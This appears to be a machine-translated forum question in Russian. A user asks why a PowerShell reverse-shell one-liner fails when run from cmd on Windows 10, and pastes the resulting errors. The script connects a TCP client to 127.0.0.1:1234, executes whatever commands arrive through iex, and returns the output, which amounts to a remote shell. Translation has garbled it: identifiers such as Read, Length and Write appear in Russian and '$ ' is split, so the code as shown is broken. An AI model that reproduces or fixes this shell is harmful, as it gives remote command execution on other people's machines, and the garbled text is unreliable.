Я запускаю этот код на cmd на win 10

powershell.exe -Command "$ client = New-Object System.Net.Розетки.TCPClient('127.0.0.1', 1234); $ stream = $ client.GetStream(); [byte []] $ bytes = 0..65535 | %% {0}; while(($ i = $ stream.Читать ($ байтов, 0, $ байтов.Длина)) -ne 0) {; $ data = (New-Object -TypeName System.Текст.ASCIIEncoding).GetString ($ bytes, 0, $ i); $ sendback = (iex $ data 2> & 1 | Out-String); $ sendback2 = $ sendback + 'PS' + (pwd).Путь + '>'; $ sendbyte = ([text.encoding]::ASCII).GetBytes ($ sendback2); $ поток.Написать ($ sendbyte, 0, $ sendbyte.Длина); $ поток.Flush ()}; $ клиент.Близко()"

но я получаю эту ошибку

%%: термин «%%» не распознается как имя командлета, функции, файла сценария или работоспособной программы. Проверьте правильность написания имени или, если путь был указан, проверьте правильность пути и повторите попытку. В строке: 1 символ: 127 + ... 3); $ stream = $ client.GetStream(); [byte []] $ bytes = 0..65535 | %% {0}; пока ... + ~~ + CategoryInfo: ObjectNotFound: (%%: String) [], CommandNotFoundException + FullyQualifiedErrorId: CommandNotFoundException

Исключение, вызывающее "Read" с аргументом (ами) "3": «Значение не может быть нулевым. Имя параметра: буфер "В строке: 1 символ: 140 + ... 5535 | %% {0}; while (($ i = $ stream.Читать ($ байтов, 0, $ байтов.Длина)) -не 0) ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo: NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId: ArgumentNullException Любые идеи, почему это говорит об этом? Я видел некоторые учебники, и они хорошо работают на них

0